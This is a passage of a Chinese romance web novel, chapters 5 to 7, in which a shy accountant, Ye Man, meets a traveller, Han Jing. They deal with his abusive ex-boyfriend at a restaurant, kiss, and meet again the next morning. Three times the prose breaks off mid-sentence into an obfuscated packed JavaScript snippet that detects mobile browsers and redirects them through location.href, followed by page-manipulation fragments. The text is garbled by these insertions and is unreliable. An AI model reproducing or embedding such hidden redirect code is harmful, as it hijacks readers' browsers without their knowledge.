晚上七点钟,天已经黑了,外边星星很亮,叶满换了一身干净的睡衣,坐在露天的阳台上,砂锅大小的小火锅咕嘟咕嘟冒泡,香气弥漫。 他打开一罐啤酒,没什么滋味儿地喝了一口,仰头看星星,他想,自己这样也算在露营。 这时候,他才回复“竞”的消息,中间隔了三个小时,一顿晚饭的时间,他可以假装自己才看到消息,进行一次惋惜而不失礼貌的拒绝。 “我才看到消息,正在吃。” 叶满发了自己的小火锅过去,里面浮着一层泡浮囊的大鱼丸,像一群白包子。 “竞”很快回复他:“吃得比我好。” 叶满抿唇,慢吞吞组织语言:“怎么会呢?你们不是在露营吗?” 一个对面发来一张图片。 叶满好奇地点开,里边是一个黑乎乎的烧烤架,户外灯的光线里,上面的烧烤是黑的、正烧烤的人脸上都是黑的。 叶满:“怎么会这样?” 竞:“被卖炭的给骗了。” 叶满放下酒,捧着手机,精挑细选了一个小狗笑得打跌的可爱表情包过去。 竞:“你知道景湖附近有什么好吃的餐厅吗?” 好吃的餐厅有,叶满小区门口就有一家,本来这城市就不大,来景湖的本地人应该都知道。 “你不是本地人吗?”叶满试探着伸出探索的触角。 竞:“不是,我是青海人。” 原来是外地人。 叶满眼神微动:“来旅游吗?” 竞:“嗯。” 叶满坐直身,鼓起勇气发出去一条:“那来我们小区吃吧,那家超好吃!” 很久以后,韩竞才明白,叶满一开始就存了坏心眼儿。 他在江湖上飘了这么多年,被一个看上去乖巧的小年轻给耍了。 叶满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424851|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆匆洗了个头,穿上自己最好看的一套衣服,扣上一顶黑色鸭舌帽,对着镜子看了半天,觉得自己看起来也没那么丑。 他拎起钥匙下楼,从一群在楼下纳凉的大爷大妈中间穿过,急匆匆向小区门口跑。 大概他收拾花的时间有点长,到门口的时候那群人已经到了,三辆越野停在马路边,一辆牧马人前倚着个高挑的影子,穿着冲锋衣和短靴,看起来特别酷,手上燃着一根烟,不太亮的路灯底下,他扭头和一边的人说话,姿态随性懒散。 他这样子不太适合在城市里,叶满莫名觉得,他的磁场其实更适配于户外,比如草原或者雪山,没拘束的地方。 夜里好像起雾了,路灯下边的空气朦胧胧的,那些陌生人的交谈声隐约传过来,叶满有点不敢上去。 那个男人也没留意叶满过来。 叶满慢慢降下速度,站在三步外,鼓起勇气拘谨地叫了声:“……哥。” 男人看了过来。 人都说,灯下看美人,大概看的是朦胧,念动的是因为想象,男人看过来的那个时刻,叶满的心脏狂跳起来。 霸气的越野车前,那个剃着青茬儿的男人就像闯入这个无波无澜三线老年城市的野豹,让人心魄震颤。 夏天粘腻的风掠过叶满还在滴水的发梢,潮湿的水汽紧贴在他没什么血色的脸上,他牵起嘴唇,对那个仅有一面之缘的陌生男人笑笑。 而那人正打量叶满,大概因为长得太高,他的眼神儿有种居高临下,给人一种无形的压力。 微笑后有两三秒的空白,叶满不确定对方是不是没认出自己,脑子里开始尴尬地胡思乱想时,男人开了口:“刚洗完头就下来了?不用那么着急。” 他的语气温和,没有太多陌生人的寒暄,让叶满放松了不少。 他抬步走到男人面前,伸出右手。 “叶满。”他自我介绍道。 他的眼睛看着男人硬朗英俊的脸,但是余光正无死角地观察着男人的每一个举动细节,以便了解对方是否对自己的哪个举动有反感。 他留意到男人将右手的烟拿到了左手,然后抬起,与他相握。 干燥温暖的大手与他常年冰冷的手形成对比,他觉得掌心被灼了一下,顺着血液上流,耳朵被染红了。 “韩竞。”男人低沉厚重的声音回道。 叶满一共经历过三次恋爱。 一次是高中毕业,一个同校的男孩儿向他表白,他不喜欢对方,但还是答应了。 因为男孩儿喜欢他,他也实在没怎么被人喜欢过、偏爱过,很新奇。 网上恋爱持续到大学,两个人分手,分手原因是两个人越来越没有共同话题,频繁吵架。 第二次恋爱是大学,体育课认识的,是一个体育生,篮球打得很好,两个人在一起一年多,最后那个男生万分厌恶地对他说:“你就不是一个正常人。” 然后转身离开,离开就离开吧,他还藕断丝连找过叶满几次,让已经被失恋折腾去半条命的叶满一直以为有希望,后来那个男生的室友忽然加上他,话里话外都是勾搭的意思。 叶满虎虎的,还以为对方正帮他们和好,啥都跟对方说,跟个情圣似的说自己多喜欢那个人渣。 还是体育生的一个朋友看叶满可怜,告诉他这是他男朋友的主意,他想让叶满和别人暧昧,然后抓他的把柄,他的每一句话都会在宿舍里被念出来,进行剖析、戏谑地嘲笑。 这事儿给叶满造成了挺严重的心理阴影,尤其在分手后不到三天叶满看到他交了新男朋友的时候,才明白自己蠢得要命。 不过叶满什么也没说,他觉得自己很丢人,他讨厌前前男友还没讨厌自己来得多,因为他默认了前男友的话——他不是一个正常人。 第三个男朋友就是半年前交的,处了半个月,约会过几次,都是叶满花钱,对方还刷了他的信用卡,让他负债更多。 而前几个男朋友都和韩竞没法比,现在的叶满也不是之前的叶满可以比的。 坐在韩竞身边时,他一遍又一遍对自己说——我是千万富翁。 5. 第 5 章 这个大众点评上都没门脸的苍蝇馆子里头今天没什么人,见来客人,正刷剧的老板才忙了起来。 这一行七八个人,都不是本地的,说话的口音天南海北的。 和叶满打过招呼,交谈几句,大概是见他不是热闹性子,也不难为他,去说自己的了。 叶满乖乖巧巧坐在韩竞身边,捧着手机装忙碌,来掩饰自己的不善言辞。 他是这一群人中的外来客,竖着耳朵听他们聊天的内容,才知道他们是去大兴安岭自驾游,路过这儿,顺便参加泥林的越野比赛的。 泥林就在冬城旁边。 他们聊车、聊比赛、聊生意,叶满听不懂,他就像一个土包子,这么多年读书、工作,也就是围着自己那一亩三分地,这些词汇对他来说太遥远陌生。 韩竞也没怎么跟他说话,这让叶满靠着“千万富翁”堆砌起来虚假的自信快要漏没了,他像一棵流逝水分的草叶儿,瑟瑟发抖,就要干巴了。 他要怎么样才能让韩竞注意自己?总不能对他说自己是千万富翁吧? 别丢人了,叶满。 别痴心妄想了,这样的人根本不在你这个层次的可选择范围里。 他开始考虑先离开,又有点不甘心,装作低头摆弄手机,余光里观察身旁这个陌生男人的一举一动,看着他眼神儿也不分给自己一个,看他喝一口凉茶,又看他拿起了手机。 他不想偷窥别人的隐私,于是规规矩矩收回目光。 嗡嗡—— 手机振动两下。 正假装忙碌的叶满终于有事做,连忙点开消息。 “怎么不说话?” ——信息来自“竞”,他还没来得及给他改备注。 叶满有种被揭穿的窘迫,硬着头皮回复:“我不知道说什么。” 他发出消息,余光看到韩竞点开了屏幕。 韩竞:“麻烦你带我们过来,没耽误你的事吧?” 叶满一遍遍看那条消息,眸色渐渐黯淡,他觉得对方的潜台词是要赶自己走。 过分敏感的人总是会很痛苦,脑补到自己遭受嫌弃、对方觉得他寡淡、对他没有一点兴趣,他已经因为这句话如坐针毡。 他抿唇回复,主动说:“那你们先吃,我先走了。” 韩竞转头看了他一眼,目光一触即离,轻飘飘的,不知道在想什么。 嗡嗡—— 韩竞的消息:“忙着去约会?” 叶满的脸一下就红了,心脏扑通扑通,右手食指和拇指无意识相互搓了两下,回复:“我单身。” 然后,他再起一条消息,鼓起勇气在对话框输入:“你呢?” 消息还没发出,他忽然听到韩竞开口:“你认识他?” 叶满比一般人反应都慢,他脑子笨,所以读书读不好、社交搞不好,大多数时候,有点复杂的话他都理解不上去,他听不懂弦外之音、不通人情世故,像个误闯这个世界的懵懂小动物。 他茫然地转头看韩竞,见男人的身体微微向这边倾,手臂撑在他的椅背上,靠得有点近,所以声音也格外清晰。 叶满眨眨眼,困惑地轻轻“嗯?”了声。 凑近了看,瓦数不高的白炽灯下,他发现韩竞的五官比一般人更加立体,高鼻深目,眼睛挺大,却是单眼皮,或许就是因为这个原因他就显得有那么点凶悍,眼睫毛也比一般人长……他有点像少数民族。 那双锐利的黑眸在叶满那双圆溜溜的眸子上停留了两秒,然后低低开口:“不看人呢?” 叶满连忙小声解释,说:“我在看你呀。” 叶满的咬字不是很清晰,习惯性拖着声线,有种黏滞和潮湿感,很无害。 韩竞眼底闪过一丝笑意,唇角笑容更加明显,显然被他逗到了。 “我说那边那个。”韩竞抬抬下巴,冲旁边桌示意。 他身材太高大了,叶满只能从他身后探出个脑袋,向那边瞧。 这一眼,让叶满那张苍白的脸迅速冷了下去。 脸皮像是被掌箍了,火辣辣的,他觉得精神被污染,情绪瞬间跌到谷底。 有时候叶满觉得,自己的世界根本没有任何变化,去年和今年一样,七年前也和现在一样,以至于看到故人,他好像从来没从曾经那段难堪又难熬的时光里出来。 那张只隔着一条窄窄过道的桌子旁坐着三四个人,正在点菜,几张脸都有点眼熟,是刘权的大学室友。 而正盯着他的,就是曾经说他不是正常人的前男友。 叶满看过他对自己厌恶的目光,那让他在很长一段时间里都会反复梦见、用那句话来惩罚和厌恶自己。 而现在,那种眼神不见了,只是添了惊讶和打量,像是正评估一件儿是否打算回收的旧货。 就在这时,他的室友也看到了叶满,特别热情地打招呼:“叶满,好久不见了!” 他们都是知道曾经的事儿的,也曾跟着嘲笑叶满,现在装作无事发生的样子,也不知道是掺了什么心思。 冬城真小,小到转角就能遇见故人,他又一次对这个城市感到厌烦。 叶满的嘴唇哆嗦了一下,这点细节被韩竞收入眼底。 “朋友?”韩竞目光扫过那几个人,低声问。 大学毕业很多年了,人们都在变,那些曾经阳光开朗的体育生,现在都油腻腻的,或者大腹便便。 而刘权的也非常不善地盯向韩竞,这未必都是因为叶满的缘故,更多的或许是见到一个优秀太多的同性,导致男人的自尊心受挫,更何况他在自己曾经的恋人身边。 叶满喉咙干,他一激动就这样,容易发不出声儿。 “我……”他咬唇,废了挺大劲儿说出来:“我大学时候、认识的人。” 韩竞大概误会了,伸手拍拍叶满的肩,对走过来的服务生低声说:“那桌算我账上。” “叶满!”隔着一个走廊,那边的几个男生嘻闹着地叫道:“过来一起吃啊!” 动静有点大,韩竞这一桌的人都看了过去。 而叶满低着头,整张脸烧得发麻,那是羞耻和自我厌恶导致的,他像个做错了事的罪犯一样,缩着脖子,强迫自己不要想以前的事,那些丢人的事直至现在还会频频闪回,提醒自己曾经是多糟糕的一个人。 韩竞非常敏锐,低低问:“这是有过节?” 叶满绷着嘴唇,小声说:“他们……都不是好人。” 韩竞皱皱眉,往那边扫了一眼,没吭声。 叶满是一个怂包子,遇到事情只会逃避,刘权他们还没怎么样呢,他就已经气得手脚发麻,回句话都费劲。 “叶满,”刘权开口了,他挺温柔地说:“好久不见了。” 叶满猛地攥紧手机,用力得指节都泛白。一边是对于过往记忆的耻辱,一边是极度的无助,他缓缓转头,注视着身旁的韩竞:“哥,我……先回了。” 韩竞:“……” 沉默两秒,韩竞说:“看来是仇人啊。” 叶满嘴唇掀了掀,轻轻说:“不共戴天。” 韩竞一愣,没忍住乐了。 他把手在叶满的鸭舌帽上压了压,动作随意又温柔,叶满被迫低下头时,听到身旁的男人说:“认错人了,我们这儿没人认识你们。” 叶满瞪大眼睛,那只大手还停留在他的帽子上,隔着夏季帽子薄薄的布料,他能感受到暖融融的温度,有种宽厚安抚的态度。 为这样罕见的安慰,垂下头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424852|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶满不舍得动,他怕自己一动韩竞就把手挪开了。 小酒馆的灯投落下影子,映在叶满的眼底,韩竞的影子几乎将怂包叶满笼罩。 韩竞还是把手拿开了,同时叶满听到刘权的声音:“你谁啊?跟你说话了吗?” 叶满只要听他说话就觉得一股子劲儿涌上了头盖骨,整个人要爆炸。 他猛地抬头,瞪过去:“你、不要和我说话!” 他生气时舌头会发麻,说话断续,气息也不稳。 尤其两桌人都在看他,他的压力太大了,想要凶,但是说出口的话却气弱。 叶满知道没人会帮自己,这一桌都是陌生人,没人会惹麻烦,不看笑话都不错了。自己又是一个人陷入尴尬局促的不安里,就像从前的无数场景一样。 刘权挑挑眉,语气戏谑,竟然还有一种令人作呕的宠溺意味:“还记恨那会儿的事呢?咱俩都分这么长时间了,你还没放下呢?” 叶满眼眶一下就红了,他发抖的手撑着桌子,就要站起来。韩竞忽然开了口:“我说,这里没人认识你们,听不懂话是吧?” 他脸上的笑意渐渐消失,气质变得完全不一样,语气懒懒散散,声儿也不高,但是叶满觉得周边的气压都低了。 他特别怕凶悍的人,心里发怵,一时都没敢吭声。 韩竞调整了下坐姿,半侧向那边,脸虽然没面向刘权他们,但是那气势却十分压人。 而他那话说完,这桌上六七个高大的男人都往那边看,目光很直接,似笑非笑的,天也不聊了,整个小酒馆就静了下来。 话落下有五秒,刘权硬是一句话没说,皱眉坐在那儿,一个室友给他使了个眼色,几个人嘀咕一会儿,竟然收拾东西走了。 叶满眼眶泛红,盯着他们离开的方向,气还是有点促。 “那么个怂蛋也犯得着你生气。” 韩竞那双过分长的腿随□□叠,贴头皮的青茬儿显出一种不羁的野性。 他慢条斯理说了句“坐下”,轻飘飘的,但很像命令,让人腿弯发软,忍不住就跟着他的指示动。 叶满咬着嘴唇,听话地坐下,缓了会儿,还是难以调整好自己的情绪,他觉得特丢人,低着头闷闷说:“我先回去了。” “别啊,”桌上的人走南闯北什么样的人没见过,对小众取向也没啥有色眼镜,对面那个四十出头的胖大哥憨厚笑笑,站起来隔着大半个桌子把果汁放在他手边:“你喜欢什么样儿的,胖哥给你介绍十个八个的,一天换一个玩,不重样。” 另一个瘦高个儿也说:“长得这么帅还怕找不着好的?等我把我那些飞行员学弟都叫到面前让你挑。” 这是把他当小孩儿哄了。 叶满勉强笑了笑,没吭声。 “喜欢长得嫩的?”韩竞也插嘴,随口开玩笑:“我昨天看你拿着一打钱给那小模特,喜欢那样的?” 叶满连勉强的笑都撑不出来了。 他扭头直勾勾看韩竞,把韩竞看得都有点不自在了。叶满越看越觉得这人不太像能喜欢男人的模样,本就不多的自信心都散了。 他垂头揉揉眼,没精打采地说:“哥,我真回去了,困了。” 看他脸色实在不好,韩竞沉默了一下,没再说什么。 叶满没多话,起来就直接走了,没有一点留恋。 他累得慌。 去觊觎不属于自己层次的人很累、遇见给他留下浓重心理阴影的人很累、从家里踏出门很累,他再待会儿,这泪失禁的毛病就要暴露了。 走出餐馆的瞬间,叶满还是掉了个眼泪豆子,他随手抹了,抬步,跨下了台阶。 对这个萍水相逢的陌生男人失去念想后,他像咸鱼一样放松了。 6. 第 6 章 进旁边的小超市买了盒烟,顺路把寄存在这儿的快递取了,叶满闷头往小区里头走,形单影只的。 这个门偏,路灯一直坏着,没人修。 冬天的时候这里全是冰,又没灯,每年都会撂倒好几个老头儿老太太,一摔就是一个咔嚓。 年轻人走的时候也得注意,即便已经夏天,大伙儿都养成了看脚下的习惯,叶满低着头,专注走路,一边往嘴里含了口烟。 刚刚转进黑暗里时,他冷不防听见一个声音叫他,从身后传来的。 这冷不丁一声,叶满吓得抖了一下,心慌慌地转头看。 一个高挑的人影站在几步外,靠墙站着。 “韩竞?”叶满不确定道。 “刚刚说错话了,”男人低沉磁性的声音传过来,裹着夏天燥热的夜风:“想着跟你道个歉。” 心跳因为那样好听的声音悄悄加快,还夹着一点小惊喜,叶满抱紧自己三块钱拼的俩杯子,眯眼努力看清黑夜里那个陌生的影子。 “没有吧……”他有点不解,疑惑地说:“我没觉得哪里说错了啊。” 韩竞跟着他出来的,看他进超市,就等在这儿。 “昨晚那事儿,我不该那么说。”韩竞道。 “啊……啊,”叶满反应龟速,温吞吞说:“那个……我不是喜欢他,是因为他是大学生,没钱读书。” 韩竞张张嘴,想说人家睡一晚上能赚多少钱你是半点数没有啊,但是他没说出来。 片刻后,他说:“菜上齐了,你不想在这儿吃,给你打包几个带回去。” 叶满摇头,即使和这人以后也不会见面了,他还是喜欢这人的风度,他弯唇笑笑,声音轻快多了:“谢谢哥,不用了,祝你们在冬城玩得开心。” 说完后,他就调转脚步,往小区里头走。 “叶满。”身后那个陌生男人又叫了他一声。 叶满轻轻“啊”了声,扭头往回看。 然后,他听到那人问:“你喜欢什么样的?” 叶满心脏心脏被蛰了一下,呼吸微顿。 耳根子紧接着一阵赧然的灼热,他低头看自己刚刷的白鞋鞋尖儿。 沉默一小阵儿,他语气平静诚恳地说:“挺喜欢你这型的。但是我知道你不能喜欢我,以后咱也见不着了,你别介意。” 韩竞舔舔干燥的嘴唇,下意识伸手摸烟,摸了个空。 他又看那个长了双猫眼的小年轻,但是看不清,他的模样都隐藏在浓黑的夜里,只有指间一点红光,烟静静在夏夜里燃着。 这只是他们见的第二面。 “好抽吗?”叶满又迈开步子继续走,走出两米,听到背后男人开了口:“给我一根。” 叶满忽然哆嗦一下,被烟烫了手。 在叶满从小到大27年生涯里,他的话真的非常少。 小时候姥姥会给他讲各种各样的故事,比如狐狸报恩、黄皮子迷人、熊瞎子半夜偷小孩儿吃,最爱吃姓叶的,因为叶家没好人,叶满在姥姥家姓李,他还有一个名字,叫李乐乐,姥爷取的,随他姓,但是没人这样叫过他。 有句话叶满一直记到现在,姥姥说,人这一辈子,能说的话都是有一个定数的。 说够那个数量,人就死了。 叶满的话一直很少,倒不是怕死,主要原因是从来没人耐心听他说。 他小时候有时候会对星星说话,跟它们说如果爸妈今晚平安回来,可以把自己的寿命折十年给他们、如果姥姥这一次安全出院,可以把自己的十年寿命给她,说如果家里的小猫可以活下来,他愿意把自己十年的寿命分给它。 十年又十年,总是形单影只的叶满记不清自己许出去多少十年,每每此时,他怕自己的寿命折没了,所以说完立刻闭嘴,试图用少言寡语来延长生命。 如果姥姥说的是真的,那么叶满一定可以活很久很久。 他现在就在进行长寿训练,嘴巴开合好几次,没发出声儿来。 这会儿时间还不算晚,但是这是个老年小区,这个时候小区里已经没什么人在外面了。 彩虹色的幼儿园黑乎乎,路灯沿着小广场边缘画了个弧,太阳能路灯的昏黄光线没法子将整个广场点亮,只滤下一层朦胧薄光看什么都不真切。 蛾子绕着路灯底下飞,纷纷扬扬,划出的弧度像落雪一样。 小广场上散着几棵长势茂盛的树,每棵树周边都围着一圈儿木头做的休息座位,白天的时候总是有不少老头老太太在这儿纳凉,这会儿就俩人。 叶满双手抱着自己的杯子,低着头,白鞋底轻轻在石板地砖上一蹭一蹭,发出细微沙沙声。 六月份北方还在飘杨絮,雪白的棉花轻轻飘过他的发梢,带来了一股薄荷烟味儿。 和他隔着这个树圈座椅的四十五度角位置,坐着一个陌生男人。 他微微弯着腰,胳膊肘撑在长腿上,低头抽烟。 “我……”叶满腼腆地轻轻说:“今年二十七。” 夜色沉寂着,夏虫在四面八方叫,背后杨树叶的绿色清新气味很好闻。 韩竞平稳开口道:“我三十六了。” 叶满:“不算大……” 他组织了一下语言,又继续道:“我净身高175。” 韩竞:“191。” 叶满小小吃了一惊,喏喏应了声,试探着套取自己想要的情报:“我是汉族。” 韩竞吐出一口烟:“我也是。” “我以为你是……”叶满抿唇:“你看起来长得不太一样。” 韩竞:“我有塔吉克族血统。” 叶满转头:“少数民族吗?” 这是一句废话啊,叶满。 他小小尴尬了一下,猫一样缩回脑袋,准备岔个话题,就听离他不远的男人轻笑了声。 他的耳朵尖一点一点红了,夜风过去,白杨树繁盛的叶子哗啦啦响,灯光滤下,在他的身上轻晃。 “嗯。”韩竞平稳地说。 叶满缓了一下心跳,侧过耳朵,问了自己最关心的一个问题:“你要在这里留多久?” 韩竞:“不一定,没事儿的话多留一段时间也没什么。” “你是做什么的?”叶满脱口而出后,又觉得冒犯,垂眸交代:“我在会计事务所工作。” 韩竞说得含糊:“什么都做点,衣食住行什么的。” 叶满“哦”了声,并没追问,说:“我问完了,你有什么想问的吗?” 韩竞:“刚刚是不是哭了?” 叶满:“……” 他万万没想到他开口是说这个,一时尴尬窘迫极了,他身体紧绷,否认说:“没、没有。” 韩竞将那支燃尽的烟熄灭,站起身。 脚步声走近,叶满的心脏跟着那脚步声一颤一颤的,被路灯拉长的影子停在他面前。 叶满咬着唇肉,慢慢抬头,他撞上了一双黑漆漆深邃的眼睛,他没挪开视线,虚张声势地直视这个刚认识的男人。 “我……”叶满心脏蹦蹦跳,这样的仰视让他紧张,因为他觉得这个角度的自己不好看。 他局促地轻轻说:“干……干什么?” 那张俊秀的脸暴露在昏黄路灯下,鸭舌帽下边,柔软的卷发乖巧地贴在额头,让他看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424853|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别乖巧。 韩竞垂眸打量他几秒,客气地开口道:“家住哪儿?送你回去。” 叶满白期待了。 他也不好意思再说什么,抬手向后指了指,腼腆地说:“就后面那个楼。” 这会儿已经挺晚,天上的星星不知道什么时候不见,一点天光也没有,整栋楼都黑了,单元门是个摆设,一直也关不上,里头黑洞洞的。 叶满站在洞口,文文静静说:“我自己上去就行了,你快回去吃饭吧。” 韩竞点点头。 他低头看手机,回了个消息,估计是他朋友在找他。 “那我先走了。”韩竞关上手机,弯唇笑笑,高挑强壮的身材在黑乎乎的夜里头像一堵墙,虽然只能看见墙体,看不见脸上的鼻子和眼睛,可仍难以遮掩他的出挑。 叶满乖乖点头。 韩竞就转身,往回走了。 叶满看着他的背影,呼吸有点发紧,嘴唇轻微阖动,可是没发出声儿。 韩竞走出三四米,静谧的夏风里,出现一个黏滞胆怯的声音:“那个……” 韩竞微微驻足,一只手插在裤子口袋,侧身看回来。 叶满脸涨得通红,紧闭眼睛,微微扬声,说:“想亲一下,行吗?” 他都不敢睁眼,侧过左耳,向风吹来的方向仔细听,说完后手脚都冰冰凉,那是极度紧张导致的。 夜沉寂下去,他没听到韩竞的回应,心里七上八下。 几秒后,他终于听到脚步声。 刚开始他有点分辨不清脚步声是远离还是靠近,心慌得不行。 但是很快,他听到脚步声走近的声音。 男人在他面前停下。 他没敢睁眼睛,木头似的杵在那儿,牙齿反复咬着下唇,缓解紧张。 薄荷烟的气味就像清凉的风,叶满的耳尖敏锐地抖抖,听到了陌生的呼吸声,男人没说话。 他开始忐忑纠结,是自己主动还是说自己正在开玩笑。 “说明白了。”韩竞心平气和地开口。 叶满茫然地睁开眼,望着浓夜中那张高鼻深目的俊脸,心脏紧得像是被什么攥着,呼吸都有点弱。 然后他听到那个陌生男人低声说:“要是亲,就得有名有份,正儿八经地谈。” 叶满眼瞳微震,他犹豫了。 而男人正耐心等着,有商有量:“还想亲?” 这个题简单,他难以处理复杂信息的大脑把这道题脱离了大前提,独立解题了,他点了下头。 然后,他的鼻尖儿被轻轻碰了一下。 恰巧他的呼吸运动进行到吸入空气,于是他嗅到了一点并不重的烟草味儿。 温热柔软的触感在他鼻尖上一触即分,在瞬间炸起了他的全部鸡皮疙瘩,那是对陌生人忽然触碰时的戒备和不适。 唇显然是落错了地方,陌生的气息不急不慢地下移,然后叶满的唇被轻轻贴住。 那阵不适消失后,害羞和紧张到极点的叶满手都在细细发抖,然后,他闭上眼睛,微微仰头,迎了上去。 北方幽静的夜里,风轻轻掠过叶满的衣角,柔软的棉质布料在他的指尖轻轻浮动,像是撩拨一样。 头顶的鸭舌帽在出餐馆的时候摘下去了,他的卷毛儿被温暖的风吹得半干,细软的头发随着动作一起一伏,潮湿粘稠的水汽散进了无人夜色里。 良久,他微微退开,低头气喘。 “总有个互相了解的过程,”韩竞沉稳温和的声音传进他的耳朵,他说:“我挺喜欢你的。” 叶满低头看自己的鞋,心脏扑通扑通跳,轻轻地“嗯”了声。 7. 第 7 章 在叶满窝囊且无趣的一生中,他只短暂地拥有过几段亲密关系。 这种“亲密”只浅显地表现在肌肤触碰上,并未触及灵魂。 这个名叫韩竞的人不会陪伴他太长时间,只短暂在冬城停留,不过这对于叶满来说刚刚好。 回到家里,他的小火锅表面已经结上了一层油,他又打开火,坐在阳台的小沙发上,秉着不浪费原则,把里面的东西吃光。 吃完后他又冲了个澡,万分期待地爬上床。 充满电的手机里头有新消息,韩竞的。 “睡了?” 叶满趴在枕头上,小心翼翼露出双眼睛,轻轻触屏:“没有。” 韩竞回消息很快:“干嘛呢?” 叶满诚诚恳恳地说:“开心,睡不着。” 韩竞:“饿不饿?我们刚吃完,正准备回酒店,给你送点吃的?” 房间里很安静,黑黢黢的,只有手机屏幕的光线直射入叶满的圆眼里,屏幕上的聊天记录也映在他的眼瞳里。 “我把火锅吃光了,有点撑,”叶满说:“你今天来,还走吗?” 韩竞有一会儿没回他。 叶满紧紧咬唇,等着回音。 屏幕自动暗下去两回,时间一分一秒流逝,他试图将那句试探的话撤回,但是早就过了时间。 他心里懊恼极了,连忙戳屏幕,说:“我不是那个意思……” 他的意思是如果他留下住自己现在就给他铺床……他老是说些让人误会的蠢话。 他还没打完字,韩竞的消息回了过来:“今天太晚了,明天有空吗?” 叶满立刻回复:“有的。” 韩竞:“见个面?” 叶满唇角轻轻上扬,说:“好。” 韩竞:“那我去接你。” 把门牌号发过去后,他又失眠了。 他抱着被子,反复咀嚼韩竞那句“我挺喜欢你的”,回想一次,就翻一个身,来缓解自己激动的情绪。 这是他的一个小习惯,遇到类似太过兴奋的、太过尴尬的事情时,会做点无用的举动,来稀释那种强烈情绪。 这导致他越来越清醒,佛珠、符咒、十字架、桃木剑、捕梦网都没能让他平静下来。 凌晨三点,他看到有透亮的光照在他的窗框上,桔黄色的,像午夜夕阳。 他从床上翻起来,爬到窗边,双手扒着窗台往外看,就见天上的月亮过分耀眼,黑色的云层呈乳状,深深浅浅缀在天上。 撑着腮看了会儿月亮,孤独感又鬼鬼祟祟从心脏不起眼的角落爬出,为了聊胜于无地抵抗孤独,他跪在床上,用手机拍了张照片,然后发到朋友圈。 分组、屏蔽、挑挑拣拣,最后干脆仅一人可见。 “今晚的天真漂亮。”他说。 后半夜,他终于迷迷糊糊睡着了,看到韩竞的消息是早上八点。 韩竞六点多给他评论:“要下大雨。” 叶满往窗外看了眼,外边没有下雨的迹象,但是阴着天。 他趴在床上回复评论:“没下雨。” 也就在这时候,他听到自己的房门被敲响。 叶满打着哈欠往客厅走,他没休息好,眼睛干涩,还没睁开,打开房门时,上了年岁的楼梯间的陈腐霉味儿扑面而来,他看清门口站着的人,哈欠打到一半,停了。 韩竞站在门口,手上提着一个早餐袋子。 大概因为头发短,又把胡子刮得干净,这个长相有点少数民族特征的酷哥看起来格外清爽英俊。 而相对的,叶满身上穿着皱巴巴的蓝色睡衣,卷毛儿根根像过电了一样炸着,嘴滑稽得半张。 “……哥。” 沉默了两秒后,叶满手忙脚乱地蹲下翻柜子,语速飞快道:“我不知道你这么早来,那个……我还没洗脸,你等等我。” 尴尬的人会假装忙碌。 但叶满有点太忙碌了,把拖鞋放在韩竞脚下,头脑发懵地伸手去扯他的靴子系带。 微糙的手攥住了叶满的手腕,叶满仰起头,撞上了韩竞的视线。 他租的房子是一个长方体,卧室向阳,厨房背阴。 中间隔出一个客厅、一个洗手间,无论白天黑夜,无论阴天晴天,都是暗的。 这会儿卧室的门开着,只有少许天光照到客厅,阴天的早晨,灰蒙蒙的光线,安静的出租屋里,两人无声对视。 叶满手指渐渐瑟缩,他已经察觉自己行为的不妥。 “我自己来,”韩竞声线低而沉稳,语气很温和,让叶满的尴尬慢慢缓解,他说:“住得近,我来得早了点,抱歉。” 叶满连连摇头,窘迫地低低说:“家里有点乱。” 家里一点也不乱,所有的东西都规规矩矩在它自己的固定岗位,沙发上坐着一群小布偶,粉红豹的长腿打着个结,垂在沙发背上,客厅里那张靠墙角的床套着新的草绿色床单,上头放着一个小桌,桌上整整齐齐摆着注册会计师的学习资料。 靠近厨房有一个木制小吧台,上面从高到低整整齐齐摆着各种饮料。 灯打开,苍白老旧的地板反射出的光都晃眼,消毒水味儿即便是开了一夜的窗都没散干净。 韩竞打量了一周,发现这里的东西虽然没什么值钱的,但布置得很温馨。 “你先随便坐,”叶满给他倒了杯水,说:“沙发和床……都可以坐。” 客厅的床是房东留下的,叶满不在这儿睡,所以也没有被子,是他平时学习的时候用的。 但是这样说出来,有一点怪怪的。 韩竞接过他手上的水,眼睛扫了眼他泛红的耳尖儿,彬彬有礼道:“谢谢。” 家里很安静,八点了,大概是因为阴天的缘故,这个房间里就像夜晚还没褪似的。 那个低沉磁性的声音传进叶满的耳朵里,他脆弱的心脏一阵酥。 “我去洗脸。”叶满腼腆地低头说道:“你先吃。” 话音刚落下,一阵风忽然穿堂而过,裹着湿漉漉的水汽,叶满抬头看向厨房开着的窗,紧接着,就听大雨紧锣密鼓地落了下来。 